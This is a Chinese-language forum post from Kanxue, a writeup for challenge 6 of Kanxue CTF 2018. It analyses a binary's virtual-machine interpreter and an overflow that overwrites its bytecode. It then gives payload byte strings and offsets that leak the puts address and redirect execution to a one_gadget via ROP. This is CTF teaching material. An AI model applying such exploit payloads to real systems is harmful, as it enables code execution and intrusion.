首页
社区
课程
招聘
[原创]看雪CTF2018-第六题writeup
发表于: 2018-6-27 20:36 3015

[原创]看雪CTF2018-第六题writeup

2018-6-27 20:36
3015

init_array数组中有2个函数,关注sub_CB5函数,发现初始化了一些全局变量

main函数先打印了一些提示信息后,计算随机数的hash值,打印hash值,获取输入与随机数比较,输入必须与随机数相等。
然后打印出菜单

用户可以输入1,2,3,4来进行相应的操作,但IDA f5查看时看到的代码却很奇怪

查看汇编代码发现是有jmp rax,于是只能动态调试,发现跳转到了.text:0000000000001107处, 用ida Keypatch修改上面的代码为如下所示

可用ida f5查看函数相关逻辑

参数对应有问题,结合ida远程动态调试,发现该函数像是一个虚拟机解释器,主要是根据sub_CB5初始化的(qword_203140 = 0x106040F01130301LL;
qword_203148 = 0x4000161302011409LL;)数据来执行相关操作,动态调试发现字节码可分为两部分:010313010F0406010914修改栈顶数据,0F标识偏移在qword_203140中的位置,09标识在栈中参考点向上偏移09处写入数据,01021316修改程序流程。


当输入1进行Malloc操作时,如果输入的size为0,0减1会是0xFF会导致溢出,想到可以使用堆方面的漏洞,但发现Show完之后会关闭stdout和stderr,文件名又叫noheap,故应该不是用堆方面的漏洞,继续分析发现可以使长度大于0x80来覆盖qword_203140,从而修改字节码来改变栈上的数据和改变程序流程

payload分为2部分,第一部分用来泄露puts的地址,从而找到one_gadget的地址,第二部分跳转到one_gadget执行

"\x01\x03\x13\x01\x3a\x04\x06\x01\x09\x14"向栈顶写入puts的got表地址
"\x01\x03\x13\x01\x42\x04\x05\x01\x08\x14"向栈顶写入
.text:00000000000010FF
mov rbp, rsp
retn
这段代码的首地址
"\x01\x03\x13\x01\x4a\x04\x06\x01\x07\x14"向栈顶写入
.text:0000000000001647
call _puts
jmp short locret_16AB
这段代码的首地址
"\x01\x03\x13\x01\x52\x04\x06\x01\x06\x14"向栈顶写入
.text:00000000000015E4
函数Malloc的首地址
"\x01\x03\x13\x01\x5a\x04\x06\x01\x05\x14"向栈顶写入
.text:0000000000001470
函数sub_1470的首地址,用于下次继续控制程序流程
"\x01\x03\x13\x01\x62\x04\x06\x16"改变程序流程,跳转到
.text:00000000000017E3
pop rdi
retn
处执行
p64(0x201e29)+p64(0x8)+p64(0x540)+p64(0x4dd)+p64(0x369)+p64(0x6dc)分别为上面地址相对于.text:0000000000001107的偏移


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2018-6-27 20:40 被新手慢慢来编辑 ,原因:
上传的附件:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//